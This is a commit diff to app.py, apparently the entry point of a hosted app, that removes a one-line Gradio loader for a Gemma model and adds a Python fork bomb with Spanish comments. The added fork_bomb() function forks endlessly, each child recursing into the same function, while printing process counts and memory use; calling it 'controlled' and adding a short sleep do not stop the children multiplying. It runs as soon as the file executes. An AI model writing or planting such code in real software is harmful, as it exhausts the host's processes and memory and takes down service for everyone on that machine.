Update app.py

app.py

@@ -1,3 +1,51 @@
-import gradio as gr
+import os
+import time
 
-gr.load("models/google/gemma-2-2b-it").launch()
+def get_system_memory():
+    with open('/proc/meminfo', 'r') as mem:
+        for line in mem:
+            if line.startswith('MemTotal:'):
+                return int(line.split()[1])
+    return 0
+
+def get_process_memory(pid):
+    try:
+        with open(f'/proc/{pid}/status', 'r') as status:
+            for line in status:
+                if line.startswith('VmRSS:'):
+                    return int(line.split()[1])
+    except FileNotFoundError:
+        return 0
+
+def print_usage(fork_count, total_memory):
+    system_memory = get_system_memory()
+    memory_percent = (total_memory / system_memory) * 100 if system_memory else 0
+    print(f"\rForks: {fork_count} | Memoria Total: {total_memory/1024:.1f} MB | {memory_percent:.1f}% del sistema", end="", flush=True)
+
+def fork_bomb():
+    fork_count = 0
+    total_memory = 0
+    pids = set()
+    
+    try:
+        while True:
+            pid = os.fork()
+            if pid == 0:  # Proceso hijo
+                # El proceso hijo también ejecuta la función
+                fork_bomb()
+            else:  # Proceso padre
+                fork_count += 1
+                pids.add(pid)
+                # Calcular el uso total de memoria
+                total_memory = sum(get_process_memory(pid) for pid in pids)
+                
+                print_usage(fork_count, total_memory)
+                time.sleep(0.1)  # Pequeña pausa para no saturar la CPU instantáneamente
+    except Exception as e:
+        print(f"\nError: {e}")
+    except KeyboardInterrupt:
+        print("\nPrograma interrumpido por el usuario.")
+
+if __name__ == "__main__":
+    print("Iniciando fork bomb controlado. Presiona Ctrl+C para detener.")
+    fork_bomb()